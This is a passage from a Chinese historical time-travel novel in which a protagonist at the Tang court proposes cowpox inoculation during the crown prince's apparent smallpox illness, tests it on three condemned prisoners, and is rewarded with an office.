但首先,他需要更多、更准确的关于太子病情的信息,以及宫内外疫情的真实情况。他提笔,用密语给感业寺中的武曌写信,简述两仪殿见闻,重点询问:“太子之症,宫闱旧人可有类似见闻?萧妃宫中陈氏,近期可有异动?宫外痘疫实情如何?有无患痘幸存之宫人、内侍,其症候细节可知?事关重大,万望费心。” 武曌在宫中经营多年,即便在感业寺,也必有隐秘渠道获取信息,她的情报至关重要。
信刚送走,李福来报,杜铭竟设法绕过监视,从后门偷偷来了,神色惶急。
“瑾兄!大事不好!” 杜铭进门便压低声音道,“我刚刚从姑母(周尚宫)暗中递出的消息得知,太子殿下病情加重了!高热不退,身上水疱越来越多,有些已开始化脓!殿下神志时清时昏,痛苦不堪。太医署内争论更烈,王署令坚称是‘时行重症’,主张用大剂清热凉血;刘副署令等人则认为脓疱已现,恐真是‘痘疮’恶候,但也不敢完全确定。陛下连下严旨,太医署已有两名医士因言语失措被拖出去杖责了!皇后殿下几乎崩溃,萧淑妃则频频请求前往探视‘分忧’,被陛下严厉申饬。如今东宫内外,人心惶惶!”
果然恶化了!脓疱出现,天花的可能性又增几分!李瑾心头发凉。“可曾追查太子接触之人?东宫近期可有异常之物送入?”
“查了!” 杜铭道,“据姑母说,皇后殿下亲自严查,太子近一月饮食起居、接触人、物,皆细细筛过,唯一特别的是……约十日前,萧淑妃曾派人给太子送过一盆来自岭南的‘金边瑞香’,说是此花冬日盛开,香气清雅,可愉心神。太子颇喜,置于书房窗台数日。然那花送来时,萧淑妃宫中女官曾言,此花一路用暖笼护着,绝无问题,且经内侍省查验无误。花如今仍在,并无异样。此外,便是太子半月前赏雪所穿的裘氅,曾交由尚服局清洗熏香,也查无异常。至于人……东宫近侍皆无异状,只有……只有那位胡内侍,在病倒前两日,曾奉命出宫为其病重的老母抓药,但其母所居坊里,近日并无痘疮上报。”
金边瑞香?胡内侍出宫?李瑾脑中飞速运转。花盆泥土、裘氅皮毛,都有可能携带病毒?胡内侍出宫抓药,接触了病源?都有可能,但都无实据。萧淑妃送花,时机微妙,但表面无懈可击。
“瑾兄,如今可如何是好?若太子真有万一……” 杜铭声音发颤,不敢说下去。太子若薨,国本动摇,依附于太子的势力(包括他们杜家,因王皇后关系)必将遭受打击,而萧淑妃一系很可能得势。
“未到绝境,不可自乱阵脚。” 李瑾沉声道,既是安慰杜铭,也是告诫自己,“杜兄,你且回去,告诉令姑母,请皇后殿下务必稳住,除了太医诊治,需格外注意殿下病中护理。脓疱处需保持洁净,不可搔抓,所用布巾衣物务必沸煮。殿下居处需通风,但避免直吹。饮食以清流质为主,可多喂些温水、稀粥。若殿下口中溃疡疼痛,可用极淡的盐水或甘草金银花煎水轻轻擦拭。还有,所有照料之人,需以细密棉布覆面,勤换衣物,接触殿下前后务必以皂角净手。此非治本,但或可防继发感染、减轻殿下苦楚。” 他将一些基本的护理和隔离原则告诉杜铭,希望能通过周尚宫传达给王皇后。
“好,我记下了!” 杜铭连忙记住。
“另外,” 李瑾压低声音,“请姑母暗中留意,萧淑妃宫中近日可有异常人员出入,尤其是与宫外药材铺、乃至……牲畜市场有关者。若有,速报于我。”
“牲畜市场?” 杜铭一愣,不明所以,但还是点头。
送走杜铭,李瑾心绪难平。他走到院中,望着阴沉的天空。难道真要眼睁睁看着历史走向悲剧(如果太子真是天花且病死)?自己空有超越时代的认知,却因身份、时机、证据,而束手无策?
不行!必须做点什么!即使不能直接治疗太子,也要设法阻止疫情扩散,并找出真相。他想起了那份关于天花知识和“牛痘”设想的纲要。或许……可以换个思路。
他回到书房,重新铺开纸,不再仅仅写纲要,而是开始撰写一份正式的、措辞极其谨慎的“条陈”。他以“臣瑾惶恐昧死上言”开头,先陈述自己因太子染恙,忧心如焚,遍检所览杂书,将海外关于“痘疮”(他统称出疹恶疾为痘疮,便于理解)的见闻整理如下。他详细描述了“痘疮”的典型病程、传染性、凶险程度,特别强调了“患痘愈后,终身不复染”的特性。然后,他笔锋一转:
“臣又闻,西域之西,有番邦之地,其民牧牛为生。彼处之牛,偶患小疮于乳际,其形似痘而微,牧牛者或沾染其浆,臂上亦生小疱,数日即愈,且自此终身不染人痘。番医异之,谓之‘牛痘’。其地有智者,遂取牛痘之浆,种于未患痘之孩童臂上,使其出此小痘,则可避人痘大疫。其法虽有风险,然较之人痘流行,十不存一之惨烈,实为活命之方。然此术闻自海外,荒远难稽,且牛痘之浆取得、贮存、接种之法,皆需极慎,稍有不谐,反致其害。臣本不敢以荒诞之言,亵渎天听。”
他先抛出“牛痘”概念,说明其原理和有效性,但立刻强调是“海外荒远之谈”、“风险未知”、“不敢亵渎”,以退为进。
“然今太子殿下染恙,朝野震动,陛下心焦。臣每思之,寝食难安。遂不揣冒昧,敢竭愚诚:窃以为,当此疫病未明、人心惶惶之际,或可双管齐下。其一,请陛下严令太医署,集思广益,细辨殿下之症,究其根源,全力救治。其二,可密遣可靠干练之人,于京师内外,暗访是否有近期患‘牛痘’(即牛乳际生小疮)之牛户,及其家中人口是否确未染人痘。若果有之,则海外传闻或非虚妄。进而,可于内侍省或太医署择数名自愿之低等杂役、宫人,先以牛痘之浆试种,严密观察其反应。若果然只生小恙,而无大害,则此术或可为预防痘疮扩散之一线生机。纵于殿下当前之症无补,亦可为宫中、乃至京师未来防疫,预作绸缪。此臣刍荛之见,实出忧惧,僭越之罪,万死莫辞。唯乞陛下圣裁。”
他将重点从“治疗太子”转向了“预防疫情扩散”和“验证牛痘法”,这是一个更安全、也更可能被接受的切入点。毕竟,如果太子真是天花,疫情随时可能从东宫蔓延出去,皇帝和重臣们不可能不担心。提供一个“或许有效”的预防思路,并建议先做小范围实验验证,既展现了忠诚和远见,又避免了“以太子为试验”的大不敬和风险。
条陈写毕,他仔细检查,确保每一句都合乎臣子身份,既不过分夸大牛痘神效,又点明了其潜在价值,并将决策权完全交给皇帝。他将条陈封好,对李福道:“备车,我要去太医署,求见刘神威副署令。”
“现在?公子,陛下有令……” 李福担忧。
“正是因陛下有令,让我‘随时听候传唤’。太子病重,我身为讲学,呈递一些可能相关的海外医事见闻,供太医署参考,合情合理。我去见刘副署令,非是违令,而是尽忠。” 李瑾平静道。他必须通过刘神威这个相对正直、且对孙思邈和自己有一定好感的渠道,将这份条陈递上去。刘神威是太医署副手,有资格面圣,且其医者身份,更容易从专业角度评估这条陈的价值。
李福无奈,只得安排。来到太医署,气氛比东宫好不了多少,人人面带忧惧。通报后,刘神威很快出来,眼窝深陷,显然疲惫不堪。
“瑾兄,你怎么来了?可是有事?” 刘神威将李瑾引至僻静处。
“神威兄,太子病情,令人心焦。瑾不才,想起一些杂书中关于痘疮的海外记载,或许……或许能提供些许不同思路,特来呈于兄台,请兄台以医者慧眼,参详一二,若觉有丝毫可取,或可转呈陛下御览。” 李瑾取出条陈,双手奉上。
刘神威疑惑地接过,展开细看。起初眉头紧锁,但随着阅读,神色越来越凝重,眼中渐渐露出震惊、思索、乃至一丝难以置信的光芒。他反复看了两遍,才抬起头,紧紧盯着李瑾:“瑾兄,此……此‘牛痘’之说,当真闻自海外?可有更多细节?那取浆、接种之法,具体如何操作?”
“书中语焉不详,只提及大概。取浆当于牛痘疱熟未破时,以洁净银刀或玉簪挑取浆液,置于洁净琉璃片或瓷器上。接种则以极细金针或银针,蘸取浆液,刺入受种者上臂外侧皮内,划一浅痕,覆盖洁净纱布即可。随后需严密观察数日,看其是否发热、出痘。此皆传闻,细节或有谬误,风险未知,故臣不敢妄言,只供参详。” 李瑾尽量描述得模糊,符合“道听途说”的特征,但又给出了基本可行的操作框架。
刘神威倒吸一口凉气,在廊下来回踱步,口中喃喃:“以毒攻毒……以牛之小痘,防人之大疫……若果真如此……若果真如此……” 他猛地停下,看向李瑾,眼中光芒闪烁,“瑾兄,此说虽奇,然细思不无道理!人痘相传古已有之,然凶险异常,十不存三,故医家不敢轻用。若牛痘之症果真轻微,且能防人痘……这、这简直是活人无算的莫大功德!只是……验证太难!”
“正因其难,且关系重大,故需谨慎验证。” 李瑾道,“眼下东宫危急,疫情可能扩散。若陛下许可,可先秘密寻访患牛痘之牛户,确认其家人未染人痘之事实。然后,择数名低等宫人、内侍,或死囚自愿者,先行试种,严密观察记录。此过程需绝对隐秘,以免引起恐慌。若试种成功,牛痘之法或可为宫中、乃至京师,筑起一道防疫之墙。纵对太子殿下病情无直接助益,也能安陛下之心,稳朝野之局。”
刘神威沉吟良久,终于重重点头:“瑾兄此言有理!此事关乎重大,非我一人可决。我这便寻机会,将瑾兄此条陈,连同我的一些看法,密奏陛下!陛下圣明,或能采纳!”
“有劳神威兄!万望谨慎!” 李瑾拱手。
离开太医署,李瑾心中稍定。他已经种下了“牛痘”这颗种子,能否发芽,就看天意和刘神威的运作能力了。接下来,他需要等待,也需要继续收集信息。
回到宅中,李福告知,感业寺的回信已到。李瑾立刻译看,武曌的信依旧条理清晰:“太子之症,据旧人回忆,与二十年前宫中一次‘痘疮’疫情初期症状有七分似,然当年疫情迅猛,患者多在三五日内脓疱满布,高热神昏。太子病程似稍缓。陈宫人近日深居简出,然其侄前日曾悄悄出宫,往西市牲畜市一行,行为鬼祟,所为何事未明。宫外痘疫,据闻今岁入冬以来,城南数坊确有十余例,已由京兆府隔离,然恐有隐匿。患痘幸存之内侍王三,曾在掖庭局当差,面上有麻,可设法接触。妾已让慧明留意郭老夫人处,若其入宫,或可进言,提请陛下注意防疫,勿使宫禁成为疫薮。”
牲畜市!陈宫人的侄子去了西市牲畜市!李瑾心中一震,这与“牛痘”的线索隐隐吻合!难道是去打听或处理与“牛”有关的事情?是寻找病牛?还是销毁证据?而宫内果然有患痘幸存者!这是一个极重要的参照样本!
“王三……” 李瑾记下这个名字。他需要想办法,亲眼看看这位幸存者脸上的麻坑,甚至询问其当年患病细节,与太子症状进行对比。但这需要机会。
就在他苦思如何接触王三时,次日傍晚,杜铭再次秘密来访,带来了石破天惊的消息:“瑾兄!陛下召你即刻入宫,两仪殿见驾!”
“陛下召我?” 李瑾心中一跳,“可知何事?”
“姑母暗中递出消息,刘神威副署令今日午后密见了陛下,呈递了你的那份条陈!陛下览后,独坐良久,随即下旨召你。姑母让你小心应对,陛下心情……极为复杂。” 杜铭低声道。
来了!李瑾深吸一口气,整理衣冠。他知道,决定性的时刻到了。是福是祸,是青云直上还是万丈深渊,皆在接下来的对答之中。
夜色中,马车再次驶向皇城。两仪殿偏殿,灯火通明。李治独自坐在御案后,手中正拿着李瑾那份条陈,脸色在灯光下明暗不定。刘神威侍立在下首,对李瑾微微点头,眼神中带着鼓励。
“臣李瑾,叩见陛下。” 李瑾大礼参拜。
“平身。” 李治的声音听不出喜怒,他将条陈轻轻放在案上,目光如炬,看向李瑾,“李瑾,你这‘牛痘’之说,从何而来?可是你杜撰,以惑朕听?”
压力如山!李瑾稳住心神,恭声答道:“回陛下,此说确系臣自海外杂记中看来,夹杂于诸多荒诞不经的传闻之中。臣本不敢当真,然见其描述‘以牛之小疾,防人之大疫’,机理似与医家‘以毒攻毒’、‘疫后获免’之理暗合。及至太子殿下染恙,臣忧惧之余,遍思群书,忽忆及此则,虽觉荒远,然或有一线之机。臣不敢隐瞒,故冒死录呈,供陛下与太医诸公参详。是杜撰,抑或实有其事,臣实不知,唯乞陛下圣断。”
他再次强调来源的“荒诞”和自身的“无知”,将判断权交给皇帝。
李治盯着他,缓缓道:“刘神威对朕言,此说虽奇,然于医理并非完全无稽。且你条陈中建议,先暗访验证,再小范围试种,步步为营,倒非鲁莽之辈。朕问你,若依你之言,寻得患牛痘之牛户,其家人果真未染人痘,你有多大把握,那试种之宫人,只会生小恙,而不会……反受其害,乃至酿成另一场疫情?”
这个问题尖锐至极,直指核心风险。李瑾心念电转,绝不能打包票。“陛下,臣不敢言有把握。此术闻自海外,真假未辨,细节不全。臣之愚见,仅为提供一种或可验证之思路。是否施行,如何施行,施行到何地步,皆需陛下乾纲独断,并交由太医署诸位国手精心设计、严密监控。若陛下决意验证,则每一步都需如临深渊,如履薄冰。人选需自愿且明风险,过程需隔绝观察,记录需详尽无遗。成,或可造福苍生;败,则需立即中止,严控后果。此非儿戏,臣万万不敢妄言把握。”
他坦诚风险,强调皇帝决策和太医署执行的重要性,将自己定位为“信息提供者”和“建议者”,而非“执行者”或“担保人”。
李治默然良久,手指无意识地敲击着御案。殿内安静得能听到灯花爆开的细微声响。终于,他开口道:“太子病情,今日又有变化。身上脓疱增多,高热稍退,然又新增咳嗽、气急之症。刘神威,你告诉李瑾,这是何征兆?”
刘神威躬身,声音沉重:“陛下,此……此恐是痘毒内陷,并发肺疾之兆。极为凶险。”
李治闭上眼睛,深吸一口气,再睁开时,眼中已有了决断:“李瑾。”
“臣在。”
“朕给你一道密旨。” 李治声音低沉,却带着不容置疑的力量,“着你即刻起,会同刘神威,并朕指派的可靠内侍、侍卫,秘密查访京师内外,是否有患‘牛痘’之牛户,及其家人是否确未染人痘。此事需绝对隐秘,不得泄露半点风声,尤其不能与东宫病情关联。若有结果,无论有无,即刻密报于朕。”
“臣领旨!” 李瑾心中一震,皇帝这是采纳了第一步验证!
“若果有符合条件的牛户,” 李治继续道,目光锐利如刀,“朕许你们,在内侍省择三名自愿的死囚,试种‘牛痘’。过程由刘神威全权负责,你从旁协助,记录观察。朕要亲眼看到结果。记住,此事若成,你们有功于社稷。若败……” 他没有说下去,但寒意已然弥漫。
“臣等必当竭尽全力,谨慎行事,不负陛下重托!” 李瑾与刘神威同时躬身。
“去吧。朕等你们的消息。” 李治挥了挥手,疲惫之色更浓。
退出两仪殿,夜风刺骨。刘神威低声道:“瑾兄,事不宜迟,我们这就分头准备。我去太医署挑选可靠人手和所需器物,并设法安排死囚。你需拟一个详细的查访计划和试种步骤,我们明日一早,便开始暗访。”
“好!” 李瑾点头,心中既有沉重压力,也有一股热血上涌。历史,或许将因他今夜献上的这条“荒诞”之言,而发生一丝微小的、却可能拯救无数生命的偏转。而他李瑾的名字,也将正式与这帝国最核心的危机,紧紧绑在一起。
牛痘之种已悄然埋下,能否在这大唐的土地上生根发芽,驱散“天花”的阴霾,守护那东宫病榻上年轻的生命,皆在接下来的日夜奔波与精心试验之中。
第33章 帝心甚慰之
皇命如山,密旨如火。自那夜两仪殿领受密旨,李瑾与刘神威便如同上了发条的机括,在极度隐秘与高效中运转起来。皇帝李治指派了四名出身禁军、家世清白、口风极严的侍卫,以及两名在内侍省负责杂役、几乎不引人注意的老成内侍,由刘神威统一调度,李瑾从旁参赞,组成了一支秘密查访小队。
查访的首要目标,是京师内外可能患有“牛痘”的牛只。李瑾根据模糊的记忆,描述牛痘的特征:通常出现在乳牛乳房上,起初是红色丘疹,很快发展成水疱,之后化脓,最后结痂脱落,病程约一周左右,病牛通常只有轻微发热,食欲稍减,不会危及生命,更不会大规模传染给其他牛。关键在于,这种“牛痘”与人天花病毒同属,但毒性温和得多。
长安城内外,牛只主要集中于几个区域:一是皇庄、官营牧场,二是各大寺院、道观的供养牛,三是西市、东市周边专司运输、磨坊的商户,四是城外农户散养。查访必须避开官面,以免打草惊蛇,更要防止与“天花”疫情产生不当联想,引发恐慌。
刘神威将人手分成三路。一路由两名侍卫扮作收购皮货的商贩,前往西市牲畜市及周边,重点打听是否有牛只“乳上生疮”,或近期有类似病牛的记录。一路由一名侍卫和一名内侍,以“太医署例行查验宫市牲畜”为名(有皇帝特批的手令,但要求低调),查看供应宫中乳品、肉食的皇庄及几个大寺庙的**。最后一路,则由刘神威亲自带领李瑾和另一名侍卫,扮作游方郎中与随从,前往南城靠近疫区(但非核心疫坊)的几个坊间,那里小户散养牛只较多,且消息相对闭塞。
临行前,李瑾通过李福,将查访“牛痘”的大致方向,以极隐晦的方式传递给了王掌柜。王掌柜的市井网络再次发挥作用,很快反馈:西市牲畜市最近似乎真有几家牛马牙人私下议论,南边昭行坊有户人家的奶牛“乳上发了热疮”,主家怕传染,正想低价处理,但一直没找到买主,因为看着不像是寻常的“乳痈”(乳腺炎)。
得到这个消息,李瑾与刘神威立刻调整方向,直奔南城昭行坊。昭行坊位于长安城东南,平民聚居,房舍低矮拥挤。按照王掌柜提供的模糊地址,他们几经周折,终于在坊内一条污水横流的僻静小巷深处,找到了那户人家。
低矮的土墙院,院里拴着三头牛,其中一头花色母牛显得精神萎靡,卧在干草上。院主是个愁眉苦脸的中年汉子,姓赵,以给人拉货、偶尔卖些牛奶为生。见刘神威与李瑾穿着半旧但整洁的布袍,带着随从,以为是来买牛的,连忙诉苦:“几位郎君,可是要买牛?这头花牛原本是产奶的好手,可前些日子不知怎地,乳上起了些小疮,发热,奶也少了。请了坊里的兽医瞧过,说是‘热毒’,吃了两副药也不见大好。小人一家就指着它呢,这……”
刘神威示意侍卫守在院外,自己与李瑾上前,假意查看牛的情况。他让赵汉子将牛扶起,仔细检查其乳房。果然,在乳房皮肤上,可见数个已近结痂的暗红色痂盖,周围皮肤略有红肿,但无明显溃烂流脓。刘神威以目示意李瑾,李瑾微微点头,这形态与他描述的牛痘结痂期颇为相似。
“主家莫急,我等并非买牛,乃是游方医者,对此类牛疾略有兴趣,特来查看。” 刘神威温和道,递上几枚铜钱,“可否让我看看牛疮处的结痂?并问问,家中可有人,尤其是常接触此牛、挤奶之人,近日可有发热、出疹?”
赵汉子得了钱,又听是医者,连忙道:“疮痂前两日刚掉,还有些印子。挤奶一直是内人。内人前些天手臂上倒是也起了两个小疱,有些发痒发热,但没两日就好了,我还以为是冻疮。家里其他人,还有邻居,都没事。”
刘神威与李瑾对视一眼,心中都是一动。挤奶妇人手臂起疱,轻微发热,很快自愈!这很可能是接触牛痘浆液后,发生的局部感染和轻微全身反应,正是获得免疫的典型过程!
“可否请尊夫人出来,让我看看她手臂上的疱痕?” 刘神威问。
赵汉子唤出妻子,一个面容朴实、手臂粗壮的妇人。她卷起袖子,左前臂外侧果然有两个已经愈合、留下淡粉色小疤痕的痕迹,约黄豆大小。
“当时可觉得身上其他地方不适?比如高热、头痛、身上出很多疹子?” 李瑾追问。
妇人摇头:“没有,就手臂这里痒痛了两天,有点发烫,身上略有些乏,喝了碗姜汤睡一觉就好了。俺身子壮实,没大事。”
症状轻微,局限!这与天花(人痘)的全身性、烈性症状天差地别!刘神威强压心中激动,又仔细询问了这头牛发病的时间、症状演变,以及周边是否还有其他牛或人生类似病症。确认此牛病症似乎没有传染给其他牛和人(除了挤奶妇人的轻微局部感染),且附近坊间并无天花疫情报告(最近的官方天花疫区在相隔数坊之外)。
“多谢主家。此牛之疾,或许并非恶症,好生将养,当可自愈。这些钱,你且拿去,给牛买些精料。” 刘神威又留下一些钱,与李瑾交换了一个眼神,匆匆离开。
出了昭行坊,寻一僻静处,刘神威难掩兴奋,低声道:“瑾兄,看来你所言不虚!此牛之症,与描述极为相似!其家人接触后仅发小恙,且坊间并无天花流行,此牛亦未引发**疫病。这……这‘牛痘’之说,恐非虚妄!”
李瑾也松了一口气,有实证就好办。“神威兄,此乃第一步。接下来,需取得此牛身上的痘痂或浆液,并需确认,此家人是否真的对天花有抵抗力。但这需要时间验证,且不能惊动他们。”
“我明白。” 刘神威点头,“陛下旨意,是寻得符合条件的牛户后,先用死囚试种。我们这就回去,禀明陛下,并着手准备取‘痘苗’及试种事宜。此事需绝对缜密。”
两人立刻回宫,通过特殊渠道,将查访结果写成密折,呈递皇帝。在等待皇帝批复和准备试种的间隙,李瑾并没有闲着。他让李福设法接触了武曌信中提到的那个患天花幸存的内侍王三。王三如今在掖庭局负责看守一处废弃仓库,脸上麻坑密布,但身体尚可。李福以“打听旧年宫中疫病往事,为某位大人撰写杂记”为由,许以重金,从王三口中套出了不少当年患病的细节:持续高热、全身剧痛、脓疱遍体、痛痒难忍、九死一生……其描述与太子当前症状(据刘神威最新传来的有限消息:高热不退、脓疱增多、并发咳喘)相比,太子病情似乎更急更重,但出疹和脓疱的过程有相似之处。这进一步加深了李瑾的判断——太子所患,即便不是典型天花,也是某种极为凶险的、同类的出疹性烈性传染病。
同时,李瑾也让王掌柜继续暗中留意西市牲畜市,特别是与“保和堂”或萧氏外戚可能有关的动向。奇怪的是,自陈宫人侄子那日鬼祟出现后,牲畜市并无可疑交易,那侄子也未再出现。这反而让李瑾更加警惕,仿佛暴风雨前的宁静。
次日,皇帝密旨批复,只有两个字:“可试。” 并指定了由内侍省安排的三名死囚,皆是身犯重罪、秋后问斩之人,已取得其“自愿”画押(在减刑或家人获抚恤的承诺下)。试种地点,设在皇城最西北角、靠近夹城的一处废弃小院,与外界完全隔绝,由刘神威挑选的两名绝对可靠的太医署学徒和两名皇帝指派的哑巴内侍负责照料和监视。
取“痘苗”的过程极为谨慎。刘神威亲自带着特制的、经过沸煮和烈酒擦拭的薄银刀、琉璃片、密封瓷瓶,再次前往昭行坊赵家。他以“此牛之疾恐有变症,需取些痂皮回去研配药物”为由,取得了赵家同意,小心翼翼地刮取了数片最干燥、看起来相对“纯净”的痂皮,放入瓷瓶密封。又额外给了赵家一笔钱,叮嘱他们近期勿卖此牛,勿让人接触其痂皮,并承诺日后还会再来查看。赵家得了钱,自然满口答应。
废弃小院中,三名死囚被单独隔离在三间相邻的、经过硫磺熏蒸的净室。刘神威在李瑾的“理论指导”下,将痂皮研磨成极细的粉末,与少量蒸滤放凉的无菌水混合,调成稀糊。然后,用煮沸过的银针,蘸取糊状“痘苗”,在每名死囚的左臂外侧,轻轻划破一道极浅、约半寸长的表皮,抹上痘苗,覆以洁净纱布。
接下来,便是漫长而焦灼的等待观察期。刘神威带着一名学徒,亲自住在小院隔壁,每日数次为三名死囚检查体温、观察划痕处反应、询问身体状况,并详细记录。李瑾虽不能亲临,但每日都能通过特定渠道得到刘神威递出的记录副本。
第一天,划痕处轻微红肿,三人皆无异常。
第二天,划痕处红肿稍增,其中两人有轻微发热(约三十七度五),一人无恙。
第三天,红肿处开始出现细小水疱,三人皆有低热,但精神尚可,食欲未减。
第四天,水疱增大,清澈明亮,体温在三十七度八至三十八度二之间徘徊,三人自述局部瘙痒、微痛,有轻微乏力感,但无头痛、恶寒、全身出疹等严重症状。
第五天,水疱达到最大,个别开始变得浑浊,体温最高一人也未超过三十八度五。刘神威记录:三人“虽有热,然神清,问答如流,可进粥食”。
第六天,水疱开始干燥、结痂,体温逐渐恢复正常,局部瘙痒减轻。
第七天,痂皮形成,三人除手臂结痂处外,全身再无新出皮疹,饮食、睡眠、精神几乎恢复正常。
整个过程中,三名死囚的症状,与之前昭行坊赵家妇人描述的经历极为相似:局部反应为主,伴有短暂低热和轻微全身不适,但无任何危及生命的严重症状,更未出现全身性、脓疱性的天花典型皮疹!
刘神威激动得手都在颤抖,在第八日的记录末尾写道:“试种三人,皆顺利出‘痘’,其症轻微,七日而安,现痂皮将脱。较之人痘之凶险,不啻天渊。牛痘预防人痘之说,或可成矣!” 他将记录和亲自绘制的手臂痘痕演变图,一同密呈皇帝。
与此同时,东宫太子的病情,在太医署竭尽全力、王皇后亲自督护下,似乎也勉强稳住了,没有继续恶化,但亦无好转迹象,持续低热,脓疱缠绵,咳喘时轻时重,人已消瘦脱形,终日昏沉。皇帝李治承受着巨大的精神压力,一方面忧心太子,一方面又盼着那虚无缥缈的“牛痘”试验能带来一丝曙光。
在接到刘神威第八日密报的当天下午,李治再次于两仪殿偏殿,秘密召见了李瑾与刘神威。此次,殿内只有皇帝一人,连日常近侍都被屏退。
李治拿着刘神威的详细记录和图样,看了许久,方才抬起头,眼中布满了血丝,但那份帝王的深沉与锐利依旧。“刘神威,你所记,可有一字虚言?”
刘神威跪地叩首:“臣以性命及医者之名担保,所记所绘,句句属实,字字无虚!三名试种者现今就在隔离院中,陛下可随时派人查验!”
李治的目光又转向李瑾:“李瑾,你当初献此策时,可曾想到,果真能成?”
李瑾也跪伏于地,恭声道:“陛下,臣当初只是提供一则海外荒谈,心中实无把握。是陛下圣明,允以查验证实;是刘副署令及诸位同僚严谨细致,方有今日之果。此乃陛下洪福,上天庇佑,非臣等之功。”
“好了,这些虚言不必说了。” 李治打断他,但语气并未见怒,反而带着一丝难以言喻的复杂情绪,似是松了半口气,又似是感慨万千。“你们且起来说话。”
两人谢恩起身。李治指着记录上“七日而安”、“症轻微”等字眼,缓缓道:“依你们之见,这‘牛痘’之法,果真可防‘人痘’大疫?”
刘神威激动道:“陛下,依医理推测,极有可能!试种三人所出之‘痘’,与昭行坊接触病牛之妇人症状相类,皆轻微和缓。而此‘牛痘’与人‘天花’,症状虽有天壤之别,然其理或同,皆是‘痘毒’所致。人染牛痘,其毒轻微,可激发人身抵御之力,而此抵御之力,或可对抗凶烈之人痘。此即‘以毒攻毒’、‘以小毒获大免’之理!今三人试种成功,便是明证!臣斗胆断言,此三人日后,若再遇天花疫气,当可安然无恙!”
李治沉默着,手指无意识地敲击着那份记录,目光投向窗外阴沉的天色,仿佛在权衡着无比重大的决断。良久,他收回目光,看向李瑾:“李瑾,朕再问你,此术……可能用于太子?”
终于问到了最核心、最敏感的问题!李瑾心弦紧绷。太子已发病,再用“预防”之术,理论上已晚。但,是否存在“治疗性”的可能?现代医学中,对于天花并无特效抗病毒药,治疗以支持和对症为主。在发病初期使用疫苗(牛痘)是否可能减轻症状?理论上或许存在微弱可能,但风险极大,且无任何依据。更重要的是,以太子千金之躯,岂能如死囚般试种?
“陛下,” 李瑾深深吸了一口气,字斟句酌,“臣于医道实是外行。然据臣所闻海外残卷,及刘副署令所言医理,此‘牛痘’之术,旨在‘预防’,即在未病之前,先种弱毒,激发人身抗力,以备不时。太子殿下已然发病,痘毒深植,此时再种牛痘,恐……恐时机已误,且殿下凤体孱弱,痘毒肆虐,恐难承受额外之‘毒’,纵是弱毒,亦可能加重病情,或引发不可测之变。臣以为,当务之急,仍是集太医署全力,依据太子当前症状,精心调治,扶正祛邪,方是正途。牛痘之法,或可为东宫、乃至宫中未染疫之近侍、宫人,提供一道预防屏障,防止疫情扩散,间接为殿下康复,创造安稳环境。”
他将牛痘定位为“预防”和“控制疫情扩散”的手段,明确排除用于治疗太子,既符合医学常识,也避免了巨大的政治和伦理风险,同时强调了其对于保护东宫、控制局面的现实价值。
李治听罢,眼中闪过一丝失望,但更多的是了然。他何尝不明白这个道理?只是爱子心切,存着一丝侥幸罢了。他点了点头,疲惫地道:“你说得是。太子……自有天命。然此牛痘之法,既已验证有效,便不可轻忽。刘神威。”
“臣在。”
“朕命你,即刻起,在太医署内,遴选绝对忠诚可靠、精通疡科、幼科之医士三至五人,秘密学习掌握此‘牛痘’接种之术。所需‘痘苗’,由你亲自制备、保管。待东宫疫情稍稳,便先在东宫未染疫之内侍、宫人中,择自愿者,小范围接种,以为屏障。具体人选、时机,需报朕知晓。此事列为绝密,除你与选定医士,及……” 他看了李瑾一眼,“及李瑾外,不得泄露于第六人知晓。若有泄密,立斩不赦!”
“臣遵旨!” 刘神威肃然领命。
“李瑾。” 李治目光再次落在李瑾身上,这一次,少了之前的审视与凌厉,多了几分难以言喻的深沉,“你献策有功,验证亦得力。虽太子之症未能直接施救,然此牛痘之法,若能推行,活人无算,功在社稷。你……很好。”
“陛下谬赞,臣愧不敢当。此乃陛下圣心独运,刘副署令及诸位同僚尽心竭力所致,臣不过偶拾牙慧,侥幸言中,实无尺寸之功。” 李瑾连忙躬身,态度依旧谦逊到极致。他知道,此刻绝不能有丝毫居功自傲。
“有功便是有功,朕不吝赏赐。” 李治摆摆手,沉吟片刻,“你如今身无职司,仅以讲学之身出入东宫,多有不便。朕擢你为太子司经局‘校书郎’(正九品下),仍兼太子讲学,可自由出入东宫,参详经籍,辅弼学业。另赏绢三百匹,金五十铤,以资鼓励。”
太子司经局校书郎!虽然只是从九品下的微末官职,但意义非凡!这意味着他正式拥有了东宫属官的身份,从“客卿”变成了“自己人”,可以更名正言顺地留在太子身边,接触东宫事务!而且这个职位清贵,掌管经籍校雠,与他“博学”的形象相符,不会过于惹眼。这显然是皇帝经过深思熟虑后的安排,既酬其功,又将其更紧密地绑在了东宫(也就是皇帝和皇后)的战车上。
“臣,谢陛下隆恩!必当竭尽驽钝,效忠陛下,辅弼太子,以报天恩!” 李瑾撩袍跪倒,大礼参拜。这一刻,他才真正感觉,自己在这大唐的官僚体系中,落下了一只脚。
“嗯。你们且退下吧。刘神威,牛痘之事,抓紧去办。李瑾,你既为校书郎,明日便去东宫司经局点卯。太子病中,讲学暂缓,你可协助于志宁,整理东宫图籍,也可……多去太子寝殿外关切,若有建言,可直接禀于朕或皇后。” 李治最后的话,意味深长。这是给予了他一定的“建言”特权,尤其是在太子病情方面。
“臣等告退。”
走出两仪殿,天空飘起了细碎的雪沫。刘神威对李瑾郑重一揖:“瑾兄,不,李校书,此番全赖兄之奇思与陛下圣明,此活人之术,方有验证之机。神威代天下苍生,谢过校书!”
“神威兄言重了,若无兄之医术与担当,此事断难成行。往后推行,还需兄多多费心。” 李瑾还礼。两人相视,皆看到对方眼中一抹沉重而又充满希望的光芒。
回到崇仁坊,李福早已得知擢升封赏的消息,喜得不知如何是好。李瑾却无多少喜色,吩咐李福将赏赐妥善收好,自己则回到书房。
他铺开纸,提笔给武曌写信。首先要告知牛痘试验初步成功的消息,以及自己被擢升为太子司经局校书郎之事。然后,他写道:“痘法虽成,然东宫之危未解。殿下之症,迁延沉重,恐非吉兆。牛痘可防扩散,然难治已病。萧氏近日异常沉寂,其心难测。陈宫人侄与牲畜市之关联,仍需深查。愚既得入东宫,或可相机探查殿下病源疑点。卿在寺中,若有新得,速告。”
写完密信,他独立窗前。雪花无声,覆盖了长安的朱墙碧瓦。帝心甚慰,赐予官职,看似风光,实则将他更深地推入了东宫这个漩涡中心。太子的病情依旧不明朗,萧淑妃的威胁并未解除,牛痘的推广也才刚刚开始,且注定不会一帆风顺。
